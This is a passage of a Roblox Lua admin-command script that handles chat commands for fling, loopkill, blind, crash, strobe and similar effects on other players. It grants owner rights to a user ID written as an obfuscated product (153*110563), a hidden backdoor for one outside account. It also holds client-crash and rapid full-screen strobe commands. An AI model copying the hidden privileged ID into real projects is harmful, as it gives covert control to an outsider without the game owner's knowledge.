  2548. end))
  2549. end
  2550. end
  2551.  
  2552. if msg:lower():sub(1,8) == "seizure " then
  2553. local plrz = GetPlr(plr, msg:lower():sub(9))
  2554. for i, v in pairs(plrz) do
  2555. coroutine.resume(coroutine.create(function()
  2556. if v and v.Character then
  2557. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  2558. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  2559. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  2560. end
  2561. end))
  2562. end
  2563. end
  2564.  
  2565. if msg:lower():sub(1,10) == "unseizure " then
  2566. local plrz = GetPlr(plr, msg:lower():sub(11))
  2567. for i, v in pairs(plrz) do
  2568. coroutine.resume(coroutine.create(function()
  2569. if v and v.Character then
  2570. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  2571. wait(.1) v.Character.Humanoid.PlatformStand = false
  2572. end
  2573. end))
  2574. end
  2575. end
  2576.  
  2577. if msg:lower():sub(1,12) == "removelimbs " then
  2578. local plrz = GetPlr(plr, msg:lower():sub(13))
  2579. for i, v in pairs(plrz) do
  2580. coroutine.resume(coroutine.create(function()
  2581. if v and v.Character then
  2582. for a, obj in pairs(v.Character:children()) do
  2583. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  2584. end
  2585. end
  2586. end))
  2587. end
  2588. end
  2589.  
  2590. if msg:lower():sub(1,5) == "name " then
  2591. local chk1 = msg:lower():sub(6):find(" ") + 5
  2592. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2593. for i, v in pairs(plrz) do
  2594. coroutine.resume(coroutine.create(function()
  2595. if v and v.Character and v.Character:findFirstChild("Head") then
  2596. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2597. local char = v.Character
  2598. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  2599. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  2600. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  2601. char.Head.Transparency = 1
  2602. end
  2603. end))
  2604. end
  2605. end
  2606.  
  2607. if msg:lower():sub(1,7) == "unname " then
  2608. local plrz = GetPlr(plr, msg:lower():sub(8))
  2609. for i, v in pairs(plrz) do
  2610. coroutine.resume(coroutine.create(function()
  2611. if v and v.Character and v.Character:findFirstChild("Head") then
  2612. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2613. end
  2614. end))
  2615. end
  2616. end
  2617.  
  2618. if msg:lower():sub(1,5) == "char " then
  2619. local chk1 = msg:lower():sub(6):find(" ") + 5
  2620. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2621. for i, v in pairs(plrz) do
  2622. coroutine.resume(coroutine.create(function()
  2623. if v and v.Character then
  2624. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  2625. v:LoadCharacter()
  2626. end
  2627. end))
  2628. end
  2629. end
  2630.  
  2631. if msg:lower():sub(1,7) == "unchar " then
  2632. local plrz = GetPlr(plr, msg:lower():sub(8))
  2633. for i, v in pairs(plrz) do
  2634. coroutine.resume(coroutine.create(function()
  2635. if v and v.Character then
  2636. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  2637. v:LoadCharacter()
  2638. end
  2639. end))
  2640. end
  2641. end
  2642.  
  2643. if msg:lower():sub(1,7) == "infect " then
  2644. local plrz = GetPlr(plr, msg:lower():sub(8))
  2645. for i, v in pairs(plrz) do
  2646. coroutine.resume(coroutine.create(function()
  2647. if v and v.Character then
  2648. Infect(v.Character)
  2649. end
  2650. end))
  2651. end
  2652. end
  2653.  
  2654. if msg:lower():sub(1,11) == "rainbowify " then
  2655. local plrz = GetPlr(plr, msg:lower():sub(12))
  2656. for i, v in pairs(plrz) do
  2657. coroutine.resume(coroutine.create(function()
  2658. if v and v.Character and v.Character:findFirstChild("Torso") then
  2659. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2660. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2661. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2662. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2663. cl.Parent = v.Character cl.Disabled = false
  2664. end
  2665. end))
  2666. end
  2667. end
  2668.  
  2669. if msg:lower():sub(1,9) == "flashify " then
  2670. local plrz = GetPlr(plr, msg:lower():sub(10))
  2671. for i, v in pairs(plrz) do
  2672. coroutine.resume(coroutine.create(function()
  2673. if v and v.Character and v.Character:findFirstChild("Torso") then
  2674. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2675. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2676. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2677. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2678. cl.Parent = v.Character cl.Disabled = false
  2679. end
  2680. end))
  2681. end
  2682. end
  2683.  
  2684. if msg:lower():sub(1,8) == "noobify " then
  2685. local plrz = GetPlr(plr, msg:lower():sub(9))
  2686. for i, v in pairs(plrz) do
  2687. coroutine.resume(coroutine.create(function()
  2688. if v and v.Character then
  2689. Noobify(v.Character)
  2690. end
  2691. end))
  2692. end
  2693. end
  2694.  
  2695. if msg:lower():sub(1,9) == "ghostify " then
  2696. local plrz = GetPlr(plr, msg:lower():sub(10))
  2697. for i, v in pairs(plrz) do
  2698. coroutine.resume(coroutine.create(function()
  2699. if v and v.Character and v.Character:findFirstChild("Torso") then
  2700. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2701. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2702. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2703. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2704. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  2705. if prt.Name:find("Leg") then prt.Transparency = 1 end
  2706. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2707. end end
  2708. end
  2709. end))
  2710. end
  2711. end
  2712.  
  2713. if msg:lower():sub(1,8) == "goldify " then
  2714. local plrz = GetPlr(plr, msg:lower():sub(9))
  2715. for i, v in pairs(plrz) do
  2716. coroutine.resume(coroutine.create(function()
  2717. if v and v.Character and v.Character:findFirstChild("Torso") then
  2718. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2719. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2720. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2721. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2722. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2723. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2724. end end
  2725. end
  2726. end))
  2727. end
  2728. end
  2729.  
  2730. if msg:lower():sub(1,6) == "shiny " then
  2731. local plrz = GetPlr(plr, msg:lower():sub(7))
  2732. for i, v in pairs(plrz) do
  2733. coroutine.resume(coroutine.create(function()
  2734. if v and v.Character and v.Character:findFirstChild("Torso") then
  2735. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2736. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2737. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2738. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2739. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2740. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2741. end end
  2742. end
  2743. end))
  2744. end
  2745. end
  2746.  
  2747. if msg:lower():sub(1,7) == "normal " then
  2748. local plrz = GetPlr(plr, msg:lower():sub(8))
  2749. for i, v in pairs(plrz) do
  2750. coroutine.resume(coroutine.create(function()
  2751. if v and v.Character and v.Character:findFirstChild("Torso") then
  2752. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2753. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2754. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2755. v.Character.Torso.Transparency = 0
  2756. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2757. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2758. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2759. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2760. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2761. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2762. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2763. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2764. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2765. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2766. end end
  2767. end
  2768. end))
  2769. end
  2770. end
  2771.  
  2772. if msg:lower():sub(1,7) == "trippy " then
  2773. local plrz = GetPlr(plr, msg:lower():sub(8))
  2774. for i, v in pairs(plrz) do
  2775. coroutine.resume(coroutine.create(function()
  2776. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2777. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2778. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2779. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2780. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2781. end
  2782. end))
  2783. end
  2784. end
  2785.  
  2786. if msg:lower():sub(1,9) == "untrippy " then
  2787. local plrz = GetPlr(plr, msg:lower():sub(10))
  2788. for i, v in pairs(plrz) do
  2789. coroutine.resume(coroutine.create(function()
  2790. if v and v:findFirstChild("PlayerGui") then
  2791. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2792. end
  2793. end))
  2794. end
  2795. end
  2796.  
  2797. if msg:lower():sub(1,7) == "strobe " then
  2798. local plrz = GetPlr(plr, msg:lower():sub(8))
  2799. for i, v in pairs(plrz) do
  2800. coroutine.resume(coroutine.create(function()
  2801. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2802. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2803. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2804. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2805. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2806. end
  2807. end))
  2808. end
  2809. end
  2810.  
  2811. if msg:lower():sub(1,9) == "unstrobe " then
  2812. local plrz = GetPlr(plr, msg:lower():sub(10))
  2813. for i, v in pairs(plrz) do
  2814. coroutine.resume(coroutine.create(function()
  2815. if v and v:findFirstChild("PlayerGui") then
  2816. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2817. end
  2818. end))
  2819. end
  2820. end
  2821.  
  2822. if msg:lower():sub(1,6) == "blind " then
  2823. local plrz = GetPlr(plr, msg:lower():sub(7))
  2824. for i, v in pairs(plrz) do
  2825. coroutine.resume(coroutine.create(function()
  2826. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2827. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2828. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2829. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2830. end
  2831. end))
  2832. end
  2833. end
  2834.  
  2835. if msg:lower():sub(1,8) == "unblind " then
  2836. local plrz = GetPlr(plr, msg:lower():sub(9))
  2837. for i, v in pairs(plrz) do
  2838. coroutine.resume(coroutine.create(function()
  2839. if v and v:findFirstChild("PlayerGui") then
  2840. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2841. end
  2842. end))
  2843. end
  2844. end
  2845.  
  2846. if msg:lower():sub(1,7) == "guifix " then
  2847. local plrz = GetPlr(plr, msg:lower():sub(8))
  2848. for i, v in pairs(plrz) do
  2849. coroutine.resume(coroutine.create(function()
  2850. if v and v:findFirstChild("PlayerGui") then
  2851. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2852. end
  2853. end))
  2854. end
  2855. end
  2856.  
  2857. if msg:lower():sub(1,9) == "loopheal " then
  2858. local plrz = GetPlr(plr, msg:lower():sub(10))
  2859. for i, v in pairs(plrz) do
  2860. if v then
  2861. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2862. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2863. repeat wait()
  2864. coroutine.resume(coroutine.create(function()
  2865. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2866. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2867. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2868. end
  2869. end))
  2870. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2871. end
  2872. end
  2873. end
  2874.  
  2875. if msg:lower():sub(1,11) == "unloopheal " then
  2876. local plrz = GetPlr(plr, msg:lower():sub(12))
  2877. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2878. end
  2879.  
  2880. if msg:lower():sub(1,10) == "loopfling " then
  2881. local plrz = GetPlr(plr, msg:lower():sub(11))
  2882. for i, v in pairs(plrz) do
  2883. if v then
  2884. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2885. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2886. repeat
  2887. coroutine.resume(coroutine.create(function()
  2888. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2889. local xran local zran
  2890. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2891. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2892. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2893. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2894. end
  2895. end))
  2896. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2897. end
  2898. end
  2899. end
  2900.  
  2901. if msg:lower():sub(1,12) == "unloopfling " then
  2902. local plrz = GetPlr(plr, msg:lower():sub(13))
  2903. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2904. end
  2905.  
  2906. end
  2907.  
  2908. -------------------------
  2909. -- True Owner Commands --
  2910. -------------------------
  2911.  
  2912. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2913.  
  2914. if msg:lower():sub(1,3) == "oa " then
  2915. local plrz = GetPlr(plr, msg:lower():sub(4))
  2916. for i, v in pairs(plrz) do
  2917. coroutine.resume(coroutine.create(function()
  2918. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2919. end))
  2920. end
  2921. end
  2922.  
  2923. if msg:lower():sub(1,5) == "unoa " then
  2924. for i = 1, #owners do
  2925. coroutine.resume(coroutine.create(function()
  2926. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2927. end))
  2928. end
  2929. end
  2930.  
  2931. if msg:lower() == "settings" then
  2932. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2933. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2934. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2935. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2936. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2937. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2938. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2939. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2940. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2941. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2942. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2943. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2944. end
  2945.  
  2946. end
  2947.  
  2948. --------------------
  2949. -- Owner Commands --
  2950. --------------------
  2951.  
  2952. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2953.  
  2954. if msg:lower():sub(1,3) == "pa " then
  2955. local plrz = GetPlr(plr, msg:lower():sub(4))
  2956. for i, v in pairs(plrz) do
  2957. coroutine.resume(coroutine.create(function()
  2958. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2959. end))
  2960. end
  2961. end
  2962.  
  2963. if msg:lower():sub(1,5) == "unpa " then
  2964. for i = 1, #admins do
  2965. coroutine.resume(coroutine.create(function()
  2966. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2967. end))
  2968. end
  2969. end
  2970.  
  2971. if msg:lower():sub(1,5) == "nuke " then
  2972. local plrz = GetPlr(plr, msg:lower():sub(6))
  2973. for i, v in pairs(plrz) do
  2974. coroutine.resume(coroutine.create(function()
  2975. if v and v.Character and v.Character:findFirstChild("Torso") then
  2976. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2977. p.Anchored = true
  2978. p.CanCollide = false
  2979. p.formFactor = "Symmetric"
  2980. p.Shape = "Ball"
  2981. p.Size = Vector3.new(1,1,1)
  2982. p.BrickColor = BrickColor.new("New Yeller")
  2983. p.Transparency = .5
  2984. p.Reflectance = .2
  2985. p.TopSurface = 0
  2986. p.BottomSurface = 0
  2987. p.Touched:connect(function(hit)
  2988. if hit and hit.Parent then
  2989. local ex = Instance.new("Explosion", game.Workspace)
  2990. ex.Position = hit.Position
  2991. ex.BlastRadius = 11
  2992. ex.BlastPressure = math.huge
  2993. end
  2994. end)
  2995. local cf = v.Character.Torso.CFrame
  2996. p.CFrame = cf
  2997. for i = 1, 333 do
  2998. p.Size = p.Size + Vector3.new(3,3,3)
  2999. p.CFrame = cf
  3000. wait(1/44)
  3001. end
  3002. p:Destroy()
  3003. end
  3004. end))
  3005. end
  3006. end
  3007.  
  3008. end
  3009.  
  3010. --------------------------
  3011. -- Super Admin Commands --
  3012. --------------------------
  3013.  
  3014. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  3015.  
  3016. if msg:lower() == "logs" then
  3017. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  3018. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  3019. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3020. end
  3021.  
  3022. if msg:lower():sub(1,9) == "loopkill " then
  3023. local chk1 = msg:lower():sub(10):find(" ")
  3024. local plrz = GetPlr(plr, msg:lower():sub(10))
  3025. local num = 9999
  3026. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  3027. for i, v in pairs(plrz) do
  3028. if v and not ChkAdmin(v.Name, false) then
  3029. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  3030. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  3031. for i = 1, ]] .. tostring(num) .. [[ do
  3032. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  3033. coroutine.resume(coroutine.create(function()
  3034. if plr and plr.Character then plr.Character:BreakJoints() end
  3035. end))
  3036. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  3037. end
  3038. end
  3039. end
  3040.  
  3041. if msg:lower():sub(1,11) == "unloopkill " then
  3042. local plrz = GetPlr(plr, msg:lower():sub(12))
  3043. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  3044. end
  3045.  
  3046. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  3047. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  3048.  
  3049. if msg:lower():sub(1,3) == "sm " then
  3050. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  3051. end
  3052.  
  3053. if msg:lower():sub(1,3) == "ko " then
  3054. local chk1 = msg:lower():sub(4):find(" ") + 3
  3055. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3056. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  3057. for n = 1, num do
  3058. for i, v in pairs(plrz) do
  3059. coroutine.resume(coroutine.create(function()
  3060. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  3061. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  3062. v.Character:BreakJoints()
  3063. wait(1/44)
  3064. v:LoadCharacter()
  3065. wait(1/44)
  3066. end
  3067. end))
  3068. end
  3069. end
  3070. end
  3071.  
  3072. if msg:lower():sub(1,6) == "crash " then
  3073. local plrz = GetPlr(plr, msg:lower():sub(7))
  3074. for i, v in pairs(plrz) do
  3075. coroutine.resume(coroutine.create(function()
  3076. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  3077. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  3078. end
  3079. end))
  3080. end
  3081. end
  3082.  
  3083. if msg:lower():sub(1,5) == "kick " then
